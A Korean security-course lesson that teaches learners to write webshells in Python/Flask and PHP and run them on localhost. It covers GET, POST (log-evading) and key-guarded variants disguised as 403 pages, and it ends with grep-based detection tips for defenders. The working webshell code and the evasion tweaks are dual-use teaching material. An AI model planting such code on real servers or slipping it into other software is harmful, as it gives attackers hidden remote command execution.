Step 142. 웹쉘 심화: 직접 작성과 원리 — 한 줄짜리 문을 직접 만든다

Step 142. 웹쉘 심화: 직접 작성과 원리 — 한 줄짜리 문을 직접 만든다

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간

전제: Step 141의 웹쉘 개념과 업로드 체인, Step 94의 Flask, Step 103의 system() 지식을 사용합니다.

  • 준비물: 파이썬 3 + Flask + requests, 텍스트 에디터, (랩이 있다면) PHP가 도는 로컬 웹 서버
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

Step 141에서 우리는 웹쉘을 "올렸습니다". 오늘은 만듭니다. 웹쉘은 신비한 해커 도구가 아니라, "HTTP 요청의 파라미터를 운영체제 명령으로 실행해 주는 번역기"일 뿐입니다. 번역기의 내부를 한 줄씩 뜯어 보고, POST형·키 인증형으로 개조까지 해 보면 — 인터넷에 떠도는 수많은 웹쉘이 전부 같은 심장을 가졌다는 것이 보이고, 서버 관리자가 웹쉘을 어떻게 찾아내는지(방어 관점)도 거꾸로 보입니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 웹쉘의 핵심 구조(입력 → 실행 → 출력)를 한 줄씩 설명한다
  • 파이썬으로 동작하는 웹쉘을 직접 작성하고 localhost에서 실측한다
  • GET형·POST형·키 인증형의 차이와 각각의 의도를 설명한다
  • PHP의 실행 함수 4종(system, exec, shell_exec, passthru)의 차이를 말한다
  • 방어자 관점에서 웹쉘 탐지 단서(파일 내용·웹 로그)를 열거한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + Flask + requests (직접 작성·실측), PHP는 "읽기"만
오늘의 명령 subprocess.run(cmd, shell=True) (파이썬의 명령 실행), ?cmd=·폼 전송
필요한 개념 서버 사이드 실행 함수, 파라미터 전달(GET/POST), 출력 스트림(stdout/stderr)
오늘의 산출물 내 손으로 만든 웹쉘 3종 + 탐지 관점 정리 노트

2-1. 웹쉘의 해부도 — 세 부분이면 끝

모든 웹쉘은 세 부분입니다.

[입력] HTTP 요청에서 명령 문자열을 꺼낸다    (?cmd=, 폼 필드)
[실행] 그 문자열을 운영체제 명령으로 실행한다 (system 계열 함수)
[출력] 실행 결과를 HTTP 응답으로 돌려준다

파일 관리자급 거대 웹쉘도 이 세 부분에 "파일 업로드 기능", "DB 접속 기능"을 덧붙인 것입니다. 심장은 한 줄입니다. 오늘 이 심장을 직접 뛰게 합니다.

2-2. PHP의 실행 함수 4종 — 같은 일, 다른 출력

PHP에서 명령을 실행하는 함수는 네 가지가 대표적입니다. 차이는 출력을 어떻게 돌려주느냐입니다.

함수 출력 방식
system(cmd) 출력을 화면에 바로 흘려보내고, 마지막 줄을 반환
exec(cmd, $out) 출력을 배열로 받음 — 조용히 수집할 때
shell_exec(cmd) 출력 전체를 문자열로 반환 — <pre>에 넣기 좋음
passthru(cmd) 출력을 가공 없이 바로 통과 — 바이너리 출력에 적합

웹쉘 제작자는 "결과를 어떻게 보고 싶은가"로 고릅니다. 우리가 파이썬으로 만들 때 쓰는 subprocess.run(cmd, shell=True, capture_output=True)shell_exec에 가깝습니다 — 출력 전체를 받아 응답에 담습니다.

2-3. GET과 POST — 로그에 남는 것의 차이

?cmd=whoami처럼 GET으로 명령을 내면, 웹 서버 접근 로그에 명령이 그대로 남습니다: GET /shell.php?cmd=whoami. POST로 내면 로그에는 POST /shell.php까지만 남고 명령은 요청 본문 안에 있습니다. 공격자가 POST형을 선호하는 이유이고, 방어자가 "로그만으로는 못 본다"는 것을 알아야 하는 이유입니다.

2-4. 탐지의 관점 — 방어자는 무엇을 보는가

서버 관리자가 웹쉘을 찾는 단서는 크게 둘입니다.

  • 파일 내용: 웹 루트 아래 파일에서 system(, exec(, shell_exec(, eval(, base64_decode( 같은 위험 함수의 출현을 검색합니다
  • 웹 로그: 업로드 폴더의 파일로 들어온 요청, 이상하게 긴 cmd= 파라미터, 평소 없던 POST 요청

공격자의 난독화(함수명 쪼개기, 인코딩)는 이 검색을 피하려는 시도입니다. 만들 줄 아는 사람이 탐지도 설계합니다.


3. 따라 하기

오늘은 전부 로컬 실측입니다. PHP 웹 서버가 없어도 원리는 완전히 같습니다 — 파이썬으로 만들어 봅니다. (본 교재는 2026-09-09에 Windows + Flask 3.1.3 환경에서 실측했습니다.)

3-1. 기본형 웹쉘 — 5줄로 만드는 원격 명령 실행

입력 (myshell.py)

import subprocess
from flask import Flask, request

app = Flask(__name__)

@app.route("/shell")
def shell():
    cmd = request.args.get("cmd", "")   # [입력] ?cmd= 값 꺼내기
    out = subprocess.run(cmd, shell=True, capture_output=True, text=True)  # [실행]
    return f"<pre>{out.stdout}{out.stderr}</pre>"  # [출력] stdout+stderr를 응답으로

app.run(port=8340)

읽는 법: 세 부분이 정확히 보이나요? request.args.get이 입력, subprocess.run(..., shell=True)이 실행, return f"<pre>..."이 출력입니다. shell=True는 명령 문자열을 운영체제의 셸(Windows라면 cmd.exe)에 통째로 넘긴다는 뜻 — PHP의 system()/bin/sh -c에 넘기는 것과 같은 구조입니다(Step 103). <pre>는 줄바꿈이 살아 있는 태그라 명령 출력이 읽기 좋게 나옵니다.

주의: 이 파일은 학습용 취약 프로그램입니다. 127.0.0.1에서만 실행하고, 끝나면 종료하세요. 절대 실제 서버에 올리지 마세요.

3-2. 기본형 실측 — 브라우저가 터미널이 되다

서버를 띄우고 명령을 보냅니다 (브라우저 주소창에 http://127.0.0.1:8340/shell?cmd=echo pwned-by-webshell를 쳐도 같습니다).

입력

import requests
r = requests.get("http://127.0.0.1:8340/shell", params={"cmd": "echo pwned-by-webshell"})
print(r.text)
r = requests.get("http://127.0.0.1:8340/shell", params={"cmd": "whoami"})
print(r.text)

출력 (2026-09-09 실측):

<pre>pwned-by-webshell
</pre>
<pre>dlqht
</pre>

(마지막 줄은 실습 PC의 사용자명입니다 — 여러분 환경에서는 여러분의 이름이 나옵니다. 리눅스 랩이라면 www-data 류.)

읽는 법: HTTP 요청 한 번이 서버(지금은 내 PC)의 명령 실행이 됐습니다. whoami가 돌려준 계정이 곧 이 웹쉘의 권한입니다 — 웹 서버 프로세스의 계정. Step 120, 141에서 본 "얻은 권한 = 서비스 실행 계정" 법칙의 재확인입니다. 이 다섯 줄이 세상 모든 웹쉘의 조상입니다.

3-3. 개조 1: POST형 — 로그에 명령을 남기지 않는다

입력 (myshell.py에 추가)

@app.route("/shell2", methods=["POST"])
def shell_post():
    cmd = request.form.get("cmd", "")   # GET 대신 폼 본문에서 꺼낸다
    out = subprocess.run(cmd + " 2>&1", shell=True, capture_output=True, text=True)
    return f"<pre>{out.stdout}</pre>"

입력 (실험)

import requests
r = requests.post("http://127.0.0.1:8340/shell2", data={"cmd": "echo post-mode && ver"})
print(r.text)

출력 (2026-09-09 실측):

<pre>post-mode

Microsoft Windows [Version 10.0.26200.9168]
</pre>

읽는 법: 두 가지 개조가 들어갔습니다. ① request.form — 명령이 URL이 아니라 요청 본문으로 갑니다. 서버 로그에는 POST /shell2만 남고 cmd는 안 보입니다. ② 2>&1 — 에러 출력(stderr)을 표준 출력(stdout)으로 합칩니다. 덕분에 틀린 명령의 에러 메시지도 화면에서 볼 수 있습니다 (3-6에서 확인합니다). &&는 "앞 명령이 성공하면 뒤도 실행" — 셸 문법이 그대로 먹히는 것도 보이죠.

3-4. 개조 2: 키 인증형 — 나만 쓰는 문

발견된 웹쉘은 제3자도 쓸 수 있습니다. 그래서 실전 웹쉘에는 대개 간이 열쇠가 있습니다.

입력 (myshell.py에 추가)

@app.route("/shell3")
def shell_key():
    if request.args.get("k") != "my-secret-key":   # 키가 없거나 틀리면 거부
        return "403 Forbidden", 403
    cmd = request.args.get("cmd", "")
    out = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return f"<pre>{out.stdout}{out.stderr}</pre>"

입력 (실험)

import requests
r = requests.get("http://127.0.0.1:8340/shell3", params={"cmd": "echo hi"})
print("키 없음:", r.status_code, r.text)
r = requests.get("http://127.0.0.1:8340/shell3", params={"k": "my-secret-key", "cmd": "echo hi"})
print("키 있음:", r.status_code, r.text)

출력 (2026-09-09 실측):

키 없음: 403 403 Forbidden
키 있음: 200 <pre>hi
</pre>

읽는 법: 키 없이는 평범한 403 페이지인 척합니다. 발견을 늦추는 위장입니다. PHP판으로는 if($_GET["k"]!="내키") die(); — Step 103에서 읽은 그 문법 그대로입니다. 방어자 관점에서는 "웹 파일에 비밀 문자열 비교문" 자체가 탐지 단서가 됩니다.

3-5. 개조 3: 에러까지 보이게 — 2>&1의 실증

입력

import requests
r = requests.get("http://127.0.0.1:8340/shell", params={"cmd": "no_such_command_xyz"})
print(r.text)

출력 (2026-09-09 실측, 한글 Windows):

<pre>'no_such_command_xyz'은(는) 내부 또는 외부 명령, 실행할 수 있는 프로그램, 또는
배치 파일이 아닙니다.
</pre>

읽는 법: 에러는 stdout이 아니라 stderr로 나옵니다. 우리 기본형은 둘을 붙여(out.stdout + out.stderr) 보여 줬고, POST형은 2>&1로 셸 단계에서 합쳤습니다. 웹쉘에서 에러가 안 보이면 "명령이 없는 건지, 권한이 없는 건지" 구분이 안 돼서 공격자도 답답합니다 — 그래서 실전 웹쉘에는 항상 에러 회수 장치가 있습니다. 한글 Windows에서는 에러가 위처럼 한글로 나옵니다 — 메시지가 달라도 원리는 같습니다.

3-6. PHP판으로 옮겨 읽기 — 같은 심장 확인

우리가 만든 세 버전을 PHP로 옮기면 이렇습니다 (랩의 PHP 서버가 있다면 저장해 시험해 보세요):

<?php
// 기본형
echo "<pre>" . shell_exec($_GET["cmd"] . " 2>&1") . "</pre>";

// 키 인증형
if ($_GET["k"] != "my-secret-key") { http_response_code(403); die(); }

// POST형 — $cmd = $_POST["cmd"];
?>

읽는 법: 파이썬판과 한 줄씩 대응됩니다. shell_exec = subprocess.run(..., capture_output=True), $_GET = request.args, die() = 조기 종료. 언어가 바뀌어도 웹쉘의 심장은 그대로입니다. 이 대응표를 그릴 수 있으면, 낯선 언어의 웹쉘을 만나도 읽을 수 있습니다.

3-7. 방어자 뒤집기 — 내 웹쉘을 내가 찾는다면

만들어 봤으니 거꾸로 생각해 봅시다. 내 서버에 이것이 숨어 있다면 어떻게 찾을까요?

[파일 검색] 웹 루트에서 위험 함수 검색:
  grep -rn "system(\|shell_exec(\|passthru(\|eval(" /var/www/html
[로그 검색] 업로드 폴더 파일로의 요청, 긴 cmd 파라미터:
  grep "uploads/" /var/log/apache2/access.log
[근본 방어] 업로드 폴더 실행 금지(Step 141) + 웹 루트 파일 무결성 감시

공격 도구를 직접 만들어 본 사람만이 "어디에 숨길지"를 알고, 숨길 곳을 아는 사람이 검색 규칙을 만듭니다. 오늘의 실습이 방어 실력인 이유입니다.


4. 미션과 연습문제

미션 — 내 웹쉘 3종과 해설서

  1. 3-1의 기본형을 작성하고 whoami, echo 실측 출력을 write-up에 붙인다
  2. POST형·키 인증형을 추가해 3-3, 3-4의 실험을 재현하고 출력을 붙인다
  3. 세 버전 각각에 "이 줄이 하는 일" 주석을 전부 달아 해설서를 만든다
  4. 3-6의 PHP 대응표(파이썬 ↔ PHP 함수 짝)를 완성한다
  5. 3-7을 참고해 "내 서버에서 웹쉘을 찾는 검색 명령" 두 개를 직접 적어 본다

연습문제

문제 1. 웹쉘의 세 부분(입력·실행·출력)을 우리 파이썬 코드의 어느 줄이 담당하는지 말해 보세요.

문제 2. GET형보다 POST형이 공격자에게 유리한 이유를 서버 로그 관점에서 설명해 보세요.

문제 3. 2>&1이 없는 웹쉘에서 생기는 불편은 무엇인가요?

문제 4. system()shell_exec()의 출력 방식 차이를 말하고, 웹쉘 제작자가 shell_exec를 고르는 경우는 언제인지 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

실측 기록 예시 (2026-09-09 기준):

[기본형]  cmd=echo pwned-by-webshell -> <pre>pwned-by-webshell</pre>
[POST형]  echo post-mode && ver -> post-mode + Windows 버전 출력
[키 인증] 키 없음: 403 Forbidden / 키 있음: 200

함수 대응표 예시:

파이썬 PHP 역할
request.args.get("cmd") $_GET["cmd"] 입력 꺼내기
subprocess.run(..., shell=True, capture_output=True) shell_exec() 실행 + 출력 수집
return f"<pre>...</pre>" echo "<pre>..." 출력 보내기
키 비교 후 return ..., 403 if(...) die(); 간이 인증

검증하는 법: ① 세 버전이 실제로 명령을 실행하고 결과를 돌려주는가. ② 키 없는 요청이 403인가. ③ 주석 해설이 빠진 줄 없이 달렸는가. ④ 대응표의 각 짝이 실제 코드와 일치하는가.

연습문제 해답

문제 1 해답. 입력은 cmd = request.args.get("cmd", ""), 실행은 subprocess.run(cmd, shell=True, ...), 출력은 return f"<pre>{out.stdout}...</pre>"입니다. 어떤 언어의 웹쉘이든 이 세 역할을 찾으면 구조가 읽힙니다.

문제 2 해답. GET은 명령이 URL에 실리고, 웹 서버 접근 로그는 요청 URL을 기록합니다 — ?cmd=...가 그대로 남습니다. POST의 본문은 기본 접근 로그에 기록되지 않으므로 로그에는 POST /shell2까지만 남습니다. 흔적을 줄이는 것이 공격자의 의도입니다. (단, 본문까지 기록하는 감사 로그·WAF 앞에서는 소용없습니다.)

문제 3 해답. 명령이 실패했을 때 원인(명령 없음, 권한 없음, 경로 틀림)을 알 수 없습니다. 성공 출력만 보이면 실패는 그냥 "빈 화면"이라, 다음 시도를 정할 수 없습니다. 그래서 2>&1로 에러를 stdout에 합쳐 화면으로 회수합니다 (3-5 실측처럼 한글 에러 메시지까지 보이게).

문제 4 해답. system()은 출력을 화면으로 바로 흘려보내고 마지막 줄만 반환하고, shell_exec()은 출력 전체를 문자열로 반환합니다. 출력을 <pre>에 담거나 가공·저장하고 싶을 때 — 즉 웹쉘처럼 결과를 응답으로 조립해야 할 때 shell_exec가 어울립니다.

완료 기준 체크리스트

  • [ ] 웹쉘의 입력→실행→출력 세 부분을 코드에서 짚을 수 있다
  • [ ] 파이썬 웹쉘을 직접 작성해 localhost에서 명령 실행을 실측했다
  • [ ] GET형과 POST형의 로그 차이를 설명할 수 있다
  • [ ] 키 인증형의 의도(제3자 차단·위장)를 설명할 수 있다
  • [ ] PHP 실행 함수 4종의 차이를 말할 수 있다
  • [ ] 방어자의 탐지 단서(파일 내용·로그)를 열거할 수 있다
  • [ ] 이 실습이 내 랩 전용임을 다시 확인했다

6. 흔한 실수와 해결

벽 1. 서버를 띄웠는데 접속이 안 된다

증상: 브라우저에 "사이트에 연결할 수 없음".
원인: 서버 프로세스가 안 떴거나, 이미 끝냈거나, 포트를 다르게 쳤습니다.
해결: 서버를 띄운 터미널에 Running on http://127.0.0.1:8340이 있는지 확인하세요. 실습이 끝난 뒤에는 Ctrl+C로 종료하는 것을 잊지 마세요.

벽 2. 명령은 실행되는데 출력이 비어 있다

증상: 200인데 화면이 빈 <pre></pre>.
원인: ① 명령이 에러를 냈는데 stderr를 안 보여 주거나, ② 명령이 원래 출력이 없습니다 (mkdir 등).
해결: 3-5처럼 stderr까지 회수하세요. 출력 없는 명령은 && echo done을 붙여 성공 여부를 확인합니다.

벽 3. 한글 출력이 깨져 나온다

증상: 에러 메시지가 깨진 글자로 나옵니다.
원인: Windows의 명령 출력 인코딩(cp949)과 웹 응답 인코딩(UTF-8)의 불일치.
해결: 파이썬에서는 text=True 대신 바이트로 받아 .decode("cp949", errors="replace")를 쓰는 방법이 있습니다. 깨져도 명령 실행 자체는 정상입니다 — 메시지 형태가 다를 뿐입니다.

벽 4. 공백 있는 명령이 잘린다

증상: ?cmd=echo hello world가 이상하게 동작합니다.
원인: URL에 공백·특수문자를 그대로 넣으면 규칙이 깨집니다. 브라우저는 대개 인코딩해 주지만, 도구로 보낼 때는 직접 처리해야 합니다.
해결: requestsparams=를 쓰면 자동 인코딩됩니다. 직접 URL을 만들 때는 공백을 %20으로 바꾸세요. 서버 쪽에서는 웹 서버가 디코딩해서 cmd에 원래 문자열을 돌려줍니다.

벽 5. 웹쉘을 만들었다는 것을 잊고 폴더째 공유했다

증상: 학습 폴더를 동료와 공유했는데 myshell.py가 포함됐습니다.
원인: 정리 누락.
해결: 웹쉘은 "문을 여는 코드"입니다. 실습 후 삭제하거나, 최소한 127.0.0.1 전용·실습 전용 폴더에만 두세요. 깃허브 등 공개 저장소에 올라가는 순간 누구든 그 파일을 그대로 악용할 수 있습니다.


7. 정리

오늘의 개념

개념 한 줄 설명
웹쉘의 세 부분 입력(파라미터) → 실행(system 계열) → 출력(응답 조립)
shell=True 명령 문자열을 OS 셸에 통째로 넘김 — PHP system()과 같은 구조
shell_exec 출력 전체를 문자열로 — 웹쉘의 출력 수집에 적합
POST형 명령이 요청 본문으로 — 접근 로그에 명령이 안 남음
키 인증형 간이 비밀번호로 제3자 차단 + 평범한 척 위장
2>&1 에러 출력을 표준 출력으로 — 실패 원인의 회수
탐지 단서 위험 함수 검색(파일) + 이상한 파라미터(로그)

오늘의 명령어와 코드

명령·코드 하는 일
subprocess.run(cmd, shell=True, capture_output=True) 파이썬판 명령 실행 심장
request.args.get("cmd") / request.form.get("cmd") GET / POST 입력 꺼내기
<?php echo shell_exec($_GET["cmd"]); ?> PHP판 한 줄 웹쉘
if ($_GET["k"]!="키") die(); PHP판 간이 인증
grep -rn "system(" /var/www/html 방어: 웹 루트 위험 함수 검색

명령어보다 중요한 감각

오늘의 핵심 문장은 "웹쉘은 번역기다 — HTTP를 OS 명령으로 옮기는"입니다. 다섯 줄이면 만들 수 있다는 것을 몸으로 알았으므로, 이제 수백 줄짜리 웹쉘도 무섭지 않습니다. 세 부분을 찾아 읽으면 되니까요.

그리고 만드는 사람의 눈을 얻었습니다. 위험 함수를 검색하고, 업로드 폴더로의 요청을 의심하고, 로그에 안 남는 POST를 경계하는 것 — 방어는 공격의 거울상입니다. 다음 Step 143에서는 웹쉘 없이도, 서버의 평범한 기능 하나가 같은 결말(원격 명령 실행)에 도달하는 길을 봅니다.


전부 체크되면 Step 142 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.